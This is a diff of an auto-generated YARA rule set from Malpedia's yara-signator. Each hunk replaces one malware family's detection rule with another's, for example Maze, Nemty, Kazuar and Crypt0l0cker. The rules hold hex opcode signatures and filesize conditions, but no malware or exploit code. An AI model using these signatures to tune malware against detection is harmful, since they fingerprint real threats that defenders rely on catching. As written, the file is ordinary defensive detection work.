-		id = "7c9f283d-efd5-5ce1-a88d-5c399c9e9911"
+		id = "3ca18c92-db73-54b4-928d-eb72333dfc4b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lilith_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crypt0l0cker_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "9246de5695a5f1adcfda29165a048565982f491bffcb4e11939fadd1e6d8bd64"
+		logic_hash = "3ce866cbdb58e590ea553be6664221b117cb83d9a5d4d70643f018e4fb580d20"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158672,32 +165640,32 @@ rule MALPEDIA_Win_Lilith_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff15???????? 6857040000 898698210000 ff15???????? }
-		$sequence_1 = { e8???????? 8bce e8???????? 83c418 8bcf e8???????? 8d4dd0 }
-		$sequence_2 = { 8b0c85a84b4300 8b45e8 f644012880 7446 0fbec3 83e800 742e }
-		$sequence_3 = { 25f0070000 660f28a010e94200 660f28b800e54200 660f54f0 660f5cc6 660f59f4 660f5cf2 }
-		$sequence_4 = { 8b0485a84b4300 80640828fe ff33 e8???????? 59 e9???????? 8b0b }
-		$sequence_5 = { c60000 833d????????10 b8???????? c745cc01000000 0f4305???????? }
-		$sequence_6 = { e9???????? c745dc03000000 c745e0c8874200 e9???????? }
-		$sequence_7 = { c1fa06 8934b8 8bc7 83e03f 6bc830 8b0495a84b4300 8b440818 }
-		$sequence_8 = { 8b4d08 898814434300 68???????? e8???????? 8be5 }
-		$sequence_9 = { 660f122c8510a74200 03c0 660f28348520ab4200 ba7f3e0400 e9???????? 8bd0 }
+		$sequence_0 = { 85c0 0f8486000000 53 8d58ff c1eb02 56 }
+		$sequence_1 = { 8b4640 85c0 0f8479000000 83780c00 7473 6800010000 e8???????? }
+		$sequence_2 = { 85f6 0f8ead000000 8d4108 8d04b8 894508 8b4510 83c008 }
+		$sequence_3 = { 55 56 8d44240f 8bea 50 6a01 ff35???????? }
+		$sequence_4 = { 83c40c 33c0 6689043b 897e08 85ff 0f84d6000000 }
+		$sequence_5 = { 8b4c243c 8b442430 8911 894104 eb17 8bcf e8???????? }
+		$sequence_6 = { b9???????? 3d90010000 0f4cce 8bf1 8b7f04 85f6 74c9 }
+		$sequence_7 = { 8bce e8???????? 8bf8 83c408 85ff 7438 83c705 }
+		$sequence_8 = { 68???????? 6a05 6840b6b9a6 6a1c e8???????? 83c424 }
+		$sequence_9 = { 0f8581020000 807dee81 0f8577020000 ff75ef ff15???????? 8b0f 8bd3 }
 
 	condition:
-		7 of them and filesize <499712
+		7 of them and filesize <917504
 }
-rule MALPEDIA_Win_Acidbox_Auto : FILE
+rule MALPEDIA_Win_Glasses_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d24270e3-4ecb-5df0-834e-54ac9b4880c3"
+		id = "c6da4c93-ee41-5868-bb14-5b5963376366"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acidbox_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glasses_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "7566f8c225df846294fd9c5a92e8c14928b074fdcd922768eae6047a40a5ef6e"
+		logic_hash = "6195d6cdd9cb4570720f28f4358090026d5f6751f78a62fc950fb9d18ef5a646"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158711,32 +165679,32 @@ rule MALPEDIA_Win_Acidbox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 418bb590000000 4903f4 4889742438 413b8594000000 0f8311010000 397e0c 0f8408010000 }
-		$sequence_1 = { 4154 4155 4156 4157 4883ec28 4c8b7128 448b6108 }
-		$sequence_2 = { c780d8feffffd3731048 c780dcfeffffffff00ff c780e0feffffffe0cccc c780e4feffffffff0000 4d8920 4d8921 }
-		$sequence_3 = { 0fb6ca 4103c9 4403f0 0fb74562 41d3e0 418bc9 49ffc7 }
-		$sequence_4 = { ff15???????? 8d043e 898318170000 eb2f 8d8702010000 }
-		$sequence_5 = { 4883c438 c3 488bc4 48895810 48897018 57 4154 }
-		$sequence_6 = { eb09 4584c0 7908 418b4124 89442420 85c0 }
-		$sequence_7 = { 4c8b4de0 c70705000000 f7471000040000 0f840c010000 8b5f48 413bdd 410f47dd }
-		$sequence_8 = { 7d07 8bd7 413bc7 7d03 418bd1 8b4b28 488b4310 }
-		$sequence_9 = { 0fb79f02040000 418b8a14170000 418bc3 2bc3 }
+		$sequence_0 = { e8???????? 8bf0 83c40c 3bf3 0f85e8fdffff 8d4590 50 }
+		$sequence_1 = { e8???????? 8d852cfbffff 50 6a00 6a50 68???????? 8d8de4faffff }
+		$sequence_2 = { e8???????? 83bdd8fdffff00 0f849e000000 8bcb e8???????? 85c0 740d }
+		$sequence_3 = { e9???????? 8d8d38f9ffff e9???????? 8d8dfcf8ffff e9???????? 8d8dacf8ffff e9???????? }
+		$sequence_4 = { 8bf1 8975f0 c706???????? 8d8e84000000 c745fc01000000 c7460800000000 e8???????? }
+		$sequence_5 = { e8???????? 83b94814000002 0f8d54ffffff ff894c140000 8b814c140000 8b91580b0000 899481540b0000 }
+		$sequence_6 = { ff0d???????? 53 8bcf e8???????? c645ff00 5f 5e }
+		$sequence_7 = { ffd2 84c0 0f840b010000 8d4da4 e8???????? 8bf8 8b45cc }
+		$sequence_8 = { eb10 8bce e8???????? 8b5d18 8945e8 895dec 8b7510 }
+		$sequence_9 = { e8???????? 899e7c070000 e9???????? 83f801 7524 6a02 e8???????? }
 
 	condition:
-		7 of them and filesize <589824
+		7 of them and filesize <4177920
 }
-rule MALPEDIA_Win_Balkan_Door_Auto : FILE
+rule MALPEDIA_Win_Disk_Knight_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9f746f91-5631-5121-b4e8-99ba1997828d"
+		id = "9beebfb6-ef57-52bd-934c-31d9b91ab2bc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.balkan_door_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disk_knight"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.disk_knight_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "3ecc62d6dd03e7104a1dd179870266fc7dbfc3c0ad204dec134adb374e60ab02"
+		logic_hash = "e89ae24c28bc10924a7fb7bbea0ccafb184ecff432361cc9f981384efa6a4077"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158750,34 +165718,34 @@ rule MALPEDIA_Win_Balkan_Door_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff15???????? 8bf8 89bd3cefffff }
-		$sequence_1 = { 8bf0 85f6 740b 6a00 6a00 56 ff15???????? }
-		$sequence_2 = { ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 50 56 }
-		$sequence_3 = { 8d85f4fdffff 50 ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 }
-		$sequence_4 = { c785d0fdffff2c020000 50 56 ffd3 }
-		$sequence_5 = { 56 ff15???????? 8b4dfc 8b85ccfdffff 33cd 5e e8???????? }
-		$sequence_6 = { e8???????? 83c404 8bbd3cefffff 6a00 }
-		$sequence_7 = { 8b85d8fdffff 8985ccfdffff 5f 5b 56 }
-		$sequence_8 = { 683f000f00 68???????? 57 ff15???????? }
-		$sequence_9 = { 50 57 6a00 6a13 ffb53cefffff ff15???????? 85c0 }
+		$sequence_0 = { 897d8c 897d88 ff15???????? 8b1d???????? 8d4dc4 51 }
+		$sequence_1 = { c745f0e01b4000 33c0 8945f4 8945f8 8845e0 6a01 ff15???????? }
+		$sequence_2 = { ff15???????? f7d8 1bc0 23f0 8d45b0 50 8d4dc0 }
+		$sequence_3 = { 8d8d7cffffff 51 56 ff5220 dbe2 85c0 7d0f }
+		$sequence_4 = { 8b4710 8d5594 52 50 8b08 ff9138010000 85c0 }
+		$sequence_5 = { 895004 8b8d48ffffff 894808 8b954cffffff 89500c 8b85e0feffff 8b08 }
+		$sequence_6 = { 3bc8 7d7d 8d9574ffffff 52 6a01 56 e8???????? }
+		$sequence_7 = { ff15???????? 8b3d???????? 83c40c 85f6 0f84d1010000 a1???????? 85c0 }
+		$sequence_8 = { e8???????? 8bf0 ff15???????? 8d54240c 8d8424a0000000 52 50 }
+		$sequence_9 = { 8b45d0 0f80ea060000 69db00010000 99 0f80dd060000 2bc2 899d10ffffff }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <868352
 }
-rule MALPEDIA_Win_Lobshot_Auto : FILE
+rule MALPEDIA_Win_Maze_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5bc103fe-8569-5650-9cd3-425031e0ab5f"
+		id = "107fc7f0-df43-5a49-b2af-87c958bef91f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lobshot_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maze"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maze_auto.yar#L1-L201"
 		license_url = "N/A"
-		logic_hash = "b29ec78bd5106a9ad51352916c3857459a77fea2349f02317d142c1882771dfc"
+		logic_hash = "114687adcaa31dee32acfd0d8a276547892002fc6701cc69c1544ebdb3b57221"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -158789,32 +165757,41 @@ rule MALPEDIA_Win_Lobshot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 895c2414 85f6 7410 6a02 56 ff15???????? 56 }
-		$sequence_1 = { 8b4508 8bd1 85c0 7409 c60200 42 }
-		$sequence_2 = { 728d ff742418 ff15???????? 8b74241c 43 83fb04 0f8e42ffffff }
-		$sequence_3 = { 85d2 7905 895e18 8bd3 57 6a2a }
-		$sequence_4 = { 0f8485000000 8b461c 85c0 747e 8b7804 83ff2a 740d }
-		$sequence_5 = { 0f42c8 33ff 894d08 47 8b4e6c 3bcf 771f }
-		$sequence_6 = { 8b55f8 33ff 85d2 7839 8b5dfc 0fb774bb02 85f6 }
-		$sequence_7 = { 8b4e08 8a86b1160000 88040a ff4614 0fb786b4160000 8386b4160000f3 }
-		$sequence_8 = { 53 ff15???????? 8b0d???????? 8b15???????? 2b15???????? 8d4102 83e902 }
-		$sequence_9 = { 895004 8b8348140000 99 2bc2 8bf0 d1fe }
+		$sequence_0 = { 53 57 56 83ec10 8b4510 8b4d0c }
+		$sequence_1 = { 8945f0 c745f000000000 8b45f0 83c410 5e 5f }
+		$sequence_2 = { 60 8b7d08 8b4d10 8b450c f3aa 61 8945f0 }
+		$sequence_3 = { 83ec10 8b4510 8b4d0c 8b5508 837d0800 8945ec }
+		$sequence_4 = { 8945ec 894de8 8955e4 7509 c745f000000000 eb17 60 }
+		$sequence_5 = { 89c8 0500000001 83d200 89d7 }
+		$sequence_6 = { 89c7 e8???????? 83c40c 57 55 8dbc24f4000000 }
+		$sequence_7 = { 89c8 01d6 ba53c6f0ff f7e2 }
+		$sequence_8 = { 41 41 41 41 41 41 41 }
+		$sequence_9 = { 83ec20 56 be???????? 56 6a00 6801001200 }
+		$sequence_10 = { 8d45ec 56 8945f8 6a00 8d45f4 50 c745f40c000000 }
+		$sequence_11 = { b904000000 6bd109 8b4d08 8b941100100000 c1ea0a }
+		$sequence_12 = { b948040000 b8cccccccc f3ab a1???????? 33c5 8945ec 50 }
+		$sequence_13 = { 898d6cfeffff 8b4dfc 8b5508 8b848a10080000 }
+		$sequence_14 = { 8b8c1040100000 c1e10a ba04000000 c1e200 8b4508 8b941040100000 c1ea16 }
+		$sequence_15 = { 899594fdffff 8b8d9cfdffff 338d98fdffff 038d94fdffff 8b55fc }
+		$sequence_16 = { 8b54813c c1e209 8b45fc 8b4d08 8b44813c }
+		$sequence_17 = { 8985e4feffff 8b45fc 8b4d08 8b548134 }
+		$sequence_18 = { 8b4dfc 8b5508 8b848a1c080000 c1e017 8b4dfc 8b5508 8b8c8a1c080000 }
 
 	condition:
-		7 of them and filesize <247808
+		7 of them and filesize <2318336
 }
-rule MALPEDIA_Win_Yoddos_Auto : FILE
+rule MALPEDIA_Win_Murkytop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "731c8af4-0cfb-5784-8919-5690671f4ddf"
+		id = "98a068e3-7271-5cdb-a55e-1253046c8910"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yoddos_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.murkytop_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "ffa9bd7fe378e38b72240a0efe08e70cc8c93f69e8ec293489b47b5a90d316d8"
+		logic_hash = "c9438f0871f1117619cdcbc50e1d21cb20b4d3848dd8784e1c0798685d05cf91"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158828,32 +165805,32 @@ rule MALPEDIA_Win_Yoddos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 0f84e0010000 8d8584fcffff 56 50 }
-		$sequence_1 = { 66895dd8 66895dda 6a0e e8???????? 59 8a8485a4ecffff 8845dc }
-		$sequence_2 = { 740c ffb5c0fcffff ff15???????? b863000000 90 b89dffffff }
-		$sequence_3 = { c6458e65 c6458f6e c6459055 c6459172 c645926c c6459341 }
-		$sequence_4 = { b89dffffff 90 33db 891d???????? b863000000 90 b89dffffff }
-		$sequence_5 = { 0c01 c1f905 83e61f 88450b 8d3c8d00764100 c1e603 }
-		$sequence_6 = { 895dfc c78538ffffff62000000 68???????? 50 e8???????? ff7508 8d8524feffff }
-		$sequence_7 = { 57 ff7508 e8???????? 8bf8 56 037d08 }
-		$sequence_8 = { 0fb7750c 6683f97e 7502 33c9 0fb7d1 8a945504ffffff 3010 }
-		$sequence_9 = { eb28 8d4df0 6a10 51 }
+		$sequence_0 = { 7c17 b8555555d5 f7e9 c1fa02 8bc2 c1e81f 03c2 }
+		$sequence_1 = { 56 e8???????? 83c410 8b9d1befffff 8d9c1defeeffff 33f6 8bff }
+		$sequence_2 = { 83e01f c1f905 8b0c8de0f54100 c1e006 0fbe440104 83e040 }
+		$sequence_3 = { 8d4508 50 6a00 57 6a00 6800130000 ff15???????? }
+		$sequence_4 = { 56 ffd7 50 ff15???????? 85c0 0f850b010000 }
+		$sequence_5 = { 8b1d???????? 56 57 8bf8 8d45f8 }
+		$sequence_6 = { 8b3d???????? 8bc7 85ff 7e16 8d0cfd48f54100 8b11 }
+		$sequence_7 = { c1fa02 8955d4 3bdf 754e }
+		$sequence_8 = { 897de4 c745e014000000 897dec 894dd8 8945dc }
+		$sequence_9 = { c1e106 030c9de0f54100 eb02 8bca f641247f 7526 83f8ff }
 
 	condition:
-		7 of them and filesize <557056
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Http_Troy_Auto : FILE
+rule MALPEDIA_Win_Kazuar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e1b34482-29c1-5d78-b5ec-9dc58faf8306"
+		id = "bbccb83c-4401-524c-a829-9e1fecf876f5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.http_troy_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kazuar_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "772a93ccc4b452bdc4c7e0291c378f7eec15f191b5f119cfc79098a0f26a733e"
+		logic_hash = "8a42fd36e815cd90ae38c5e050f60bebec4410e7ad562404ae7ac137541dd601"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158867,32 +165844,32 @@ rule MALPEDIA_Win_Http_Troy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { dd45f8 dae9 59 59 dfe0 f6c444 7a05 }
-		$sequence_1 = { c3 8b8384400000 85c0 0f84bd010000 8b54240c 52 8b542414 }
-		$sequence_2 = { ff00 85d2 744e 8d45ec 50 53 8bcf }
-		$sequence_3 = { 8b4c2420 b801000000 89410c 8b4c2418 5f 5e e8???????? }
-		$sequence_4 = { 56 57 e8???????? 59 59 eb7d dd4508 }
-		$sequence_5 = { 83c604 3b742408 72ef 5e c3 56 8bf0 }
-		$sequence_6 = { 6a01 68???????? ffd3 85c0 0f857afeffff 393cb5c8540310 742e }
-		$sequence_7 = { 50 8d4c240c 51 6a00 683f000f00 6a00 }
-		$sequence_8 = { e8???????? 8b0d???????? 83c408 3bc1 741f 83c702 }
-		$sequence_9 = { e8???????? 83c41c 8d942418010000 52 ffd3 85c0 7430 }
+		$sequence_0 = { e8???????? 3d88ae6393 7506 498b4310 eb0f }
+		$sequence_1 = { e8???????? 4c8d4c2428 31d2 31c9 01c0 4c89442438 6689442430 }
+		$sequence_2 = { 8d8b80030000 894c240c 8d8b00030000 894c2408 8d4b08 894c2404 }
+		$sequence_3 = { 740a 81ea00204000 01d0 eb02 31c0 5d c3 }
+		$sequence_4 = { 7452 83b98c00000000 7449 4c01de }
+		$sequence_5 = { 8b45dc 8b10 890424 ff520c 85c0 52 }
+		$sequence_6 = { 8b461c 498d1493 8b0402 4c01d8 }
+		$sequence_7 = { 8bb188000000 85f6 7452 83b98c00000000 7449 4c01de 31db }
+		$sequence_8 = { 89d7 7463 4863493c 4c01d9 8bb188000000 85f6 7452 }
+		$sequence_9 = { 890424 894c2410 8d8b80030000 894c240c 8d8b00030000 }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Vskimmer_Auto : FILE
+rule MALPEDIA_Win_Nemty_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fc191c93-ce90-5418-a28d-2b3fa9eb623e"
+		id = "63cde4fd-76ae-5ec0-8a56-1ffc39628f31"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vskimmer_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nemty_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "81aef2465b53cd0c0e1b48561687f8c8208fd8d87041be709dd2217d8a17703f"
+		logic_hash = "ab3eef0d79392145b4ed1a1315366f250ca5ff150cf5d778f7e9e8528f09f4dc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158906,32 +165883,32 @@ rule MALPEDIA_Win_Vskimmer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bc3 7402 8bf0 8bd6 f7da 8a07 }
-		$sequence_1 = { 68???????? 50 e8???????? 59 59 85c0 0f8445010000 }
-		$sequence_2 = { 33c0 0fbe84c188e54100 6a07 c1f804 59 }
-		$sequence_3 = { 75f8 ff36 e8???????? 59 8b4508 }
-		$sequence_4 = { 8b4508 8bf1 8b4d0c 8b7e04 }
-		$sequence_5 = { 5e 5b c3 8b94c110010000 8bb110020000 8b44c108 2bc6 }
-		$sequence_6 = { 3bd7 749c 8b8324020000 2580000000 0f95c0 0fb6c0 50 }
-		$sequence_7 = { 7e7b 8b460c ff36 03c7 50 }
-		$sequence_8 = { 7413 c685b3fdffff01 3bf3 7408 8b451c 8906 }
-		$sequence_9 = { 83e803 0f846a010000 48 7439 48 742d 8b4508 }
+		$sequence_0 = { 51 e8???????? 59 e8???????? 83c438 85c0 }
+		$sequence_1 = { 8945a4 a1???????? 59 bf???????? 8bca 83f810 7302 }
+		$sequence_2 = { 81ec18040000 a1???????? 33c5 8945fc 837d2010 8b4508 }
+		$sequence_3 = { 83781408 8b4810 57 7202 8b00 8b3d???????? 33db }
+		$sequence_4 = { 6a1c 99 5e f7fe 33db 895dd8 }
+		$sequence_5 = { 33ff e8???????? 83c61c 3b7510 75ef 6a00 }
+		$sequence_6 = { 83ec1c 8bd8 8bc4 68???????? e8???????? }
+		$sequence_7 = { 8db4248c000000 e8???????? 53 8d742454 }
+		$sequence_8 = { 7509 be???????? 85c0 7405 }
+		$sequence_9 = { 837d3810 8bf8 8b4524 59 7303 8d4524 837d3810 }
 
 	condition:
-		7 of them and filesize <376832
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Cloud_Duke_Auto : FILE
+rule MALPEDIA_Win_Lowball_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cde391f0-175a-570d-9bc3-d49da6ef8745"
+		id = "5424f572-46b4-58bc-b4a0-f5f116f9edc3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloud_duke_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lowball_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "74b144312fec28eba9f5a0427613a86e81c08ef3fe8c6af23e7d4ebef780ba1f"
+		logic_hash = "40672e1fab5ab37bc1a93541afc7340032670ae9b7325b888c89c49deec74a07"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158945,32 +165922,32 @@ rule MALPEDIA_Win_Cloud_Duke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4c2448 e8???????? 50 8d8c240c010000 e8???????? 8d4c2448 e8???????? }
-		$sequence_1 = { 8d8c240c010000 e8???????? 8d4c2460 e8???????? }
-		$sequence_2 = { 83fe04 7ce3 8b45e8 4b 8ad4 }
-		$sequence_3 = { 8d8c24d8000000 e8???????? 51 8d442434 }
-		$sequence_4 = { 50 e8???????? 8b7c2440 46 3bf7 }
-		$sequence_5 = { eb0a 8b9dd8fbffff eb02 8bde 8b85e8fbffff 8d95e4fbffff 52 }
-		$sequence_6 = { 85c9 7438 83fa01 7533 83bedc00000008 8d86c8000000 7202 }
-		$sequence_7 = { 8d04450c000000 50 6a00 57 }
-		$sequence_8 = { eb02 8bce 8b5518 ff75fc 03d2 895510 }
-		$sequence_9 = { 6806020000 50 668984241c010000 8d84241e010000 50 c744245c00000000 e8???????? }
+		$sequence_0 = { 0f8436010000 8b942430060000 33c9 85d2 740c 8bfa }
+		$sequence_1 = { ff54242c 5f 5e 5d 33c0 }
+		$sequence_2 = { 8d4f01 51 e8???????? 56 8bd8 ff15???????? }
+		$sequence_3 = { 68???????? f3a4 6a00 ff54242c 6810270000 ff15???????? bf???????? }
+		$sequence_4 = { 85ff 897c240c 0f848c000000 8b942420020000 55 }
+		$sequence_5 = { c1e902 f3a5 8bcb 8d84244c0d0000 83e103 50 }
+		$sequence_6 = { 83c410 85c0 752d 68b80b0000 ffd3 8d8c24400a0000 8d94241c010000 }
+		$sequence_7 = { 8bc1 8bf7 8bfa 8d942434070000 c1e902 f3a5 8bc8 }
+		$sequence_8 = { ff15???????? 83c404 89442410 b905000000 be???????? }
+		$sequence_9 = { 6a00 6a00 68bb010000 51 56 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Rincux_Auto : FILE
+rule MALPEDIA_Win_Dented_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f27efa3f-a583-5935-b25f-3d309003cd7f"
+		id = "484f6875-8da3-59df-9796-ec6e3c5f3480"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rincux_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dented"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dented_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "bab1d2c8fa3084a76a95e14132fec6ddc959ff0aa0d14a5e81e01f5b29b7ad34"
+		logic_hash = "e9882555c27a882adee62a69216aa411600cf976159b592ea9f38f19d9990be3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158984,32 +165961,32 @@ rule MALPEDIA_Win_Rincux_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 742d b9fa000000 33c0 8dbc24c0000000 8d9424c0000000 f3ab 8d8c24b0000000 }
-		$sequence_1 = { 8bcd 52 57 e8???????? 8b442410 8d4c2424 6a04 }
-		$sequence_2 = { 7425 8b442410 8d4c2424 88442424 }
-		$sequence_3 = { c68424fd00000076 888c24fe000000 888424ff000000 c68424000100005c c684240101000052 c684240201000044 c684240301000050 }
-		$sequence_4 = { c20800 33c0 8a4701 894614 8b4df4 64890d00000000 }
-		$sequence_5 = { ff15???????? 83f8ff 7511 8b16 52 ff15???????? 5f }
-		$sequence_6 = { 5e 83c42c c20400 8b542438 8d4c2408 51 52 }
-		$sequence_7 = { 84c0 74d8 5f 5e 5d 5b }
-		$sequence_8 = { 53 57 8b7c242c 6683f90e 7502 }
-		$sequence_9 = { 50 68???????? e9???????? 40 c745fc00000000 50 e8???????? }
+		$sequence_0 = { 8bf1 e8???????? 83c40c 89bd60ffffff 8d8560ffffff 50 ff15???????? }
+		$sequence_1 = { 50 51 ebc7 6a0f 33db 5f 897df4 }
+		$sequence_2 = { ffd6 ff75fc ffd6 6a00 6a01 8d4d08 e8???????? }
+		$sequence_3 = { ff15???????? 3d0e000780 7422 3d08000c80 741b }
+		$sequence_4 = { 8985c4fcffff 8d85f4fdffff 6a40 8985c8fcffff 8d85b4fcffff 5e 50 }
+		$sequence_5 = { 8d4dc0 e8???????? 385dc4 7508 6a04 }
+		$sequence_6 = { 6a40 5f 57 8d45b8 }
+		$sequence_7 = { 8b85f8f7ffff 8a8485fcfbffff 32c1 880416 8b8decf7ffff }
+		$sequence_8 = { 48 0d00ffffff 40 8a0a 8985f8f7ffff 8bbdf8f7ffff 0fb6c1 }
+		$sequence_9 = { 8b4a38 3b08 6a0f 0f4208 33db 8b4210 }
 
 	condition:
-		7 of them and filesize <392192
+		7 of them and filesize <450560
 }
-rule MALPEDIA_Win_C0D0So0_Auto : FILE
+rule MALPEDIA_Win_Gamotrol_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7fd27b52-4a26-50f0-a471-2ac29e8cd05c"
+		id = "a4423f00-4d12-5905-ae9f-2ac00b302637"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0"
